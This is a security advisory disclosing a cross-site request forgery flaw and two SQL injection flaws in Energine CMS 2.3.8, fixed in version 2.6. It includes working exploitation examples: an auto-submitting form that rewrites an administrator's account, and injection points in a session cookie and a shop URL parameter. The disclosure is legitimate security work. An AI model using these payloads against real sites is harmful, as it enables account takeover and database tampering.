Multiple Vulnerabilities in Energine

Advisory ID:HTB22655
Product:Energine
Vendor:Energine
Vulnerable Versions:2.3.8 and probably prior
Tested Version:2.3.8
Advisory Publication:October 13, 2010 [without technical details]
Vendor Notification:October 13, 2010
Public Disclosure:October 27, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Energine which could be exploited to perform cross-site request forgery and SQL injection attacks.

1) Cross-site request forgery (CSRF) in in Energine
The vulnerability exists due to insufficient validation of the request origin in core/modules/user/components/UserEditor.class.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/en/single/pageToolBar/user/save" method="post" name="main">
<input type="hidden" name="componentAction" value="edit">
<input type="hidden" name="user_users[u_id]" value="USERID">
<input type="hidden" name="user_users[u_name]" value="email@example.com">
<input type="hidden" name="user_users[u_password]" value="">
<input type="hidden" name="user_users[u_fullname]" value="Test">
<input type="hidden" name="user_users[u_avatar_prfile]" value="">
<input type="hidden" name="group_id[]" value="1">
<input type="hidden" name="group_id[]" value="4">
</form>
<script>
document.main.submit();
</script>


2) SQL injection vulnerabilities in Energine
2.1 An input validation error exists in the "NRGNSID" cookie parameter in index.php. A remote attacker can modify NRGNSID cookie and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in database.
Exploitation example:
Cookie: NRGNSID='SQL_CODE_HERE
2.2 An input validation error exists in the "product" parameter in core/modules/shop/components/ProductList.class.php. A remote attacker can send a specially crafted request and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in database.
Exploitation example:
http://host/shop/search-results/?product=%22+ANY_SQL

How to Detect Cross-Site Request Forgery Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Upgrade to version 2.6


References:
[1] High-Tech Bridge Advisory HTB22655 - https://www.immuniweb.com/advisory/HTB22655 - Multiple Vulnerabilities in Energine
[2] Energine - energine.org – Energine is an open source content management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Products
Free Trial
Newsletter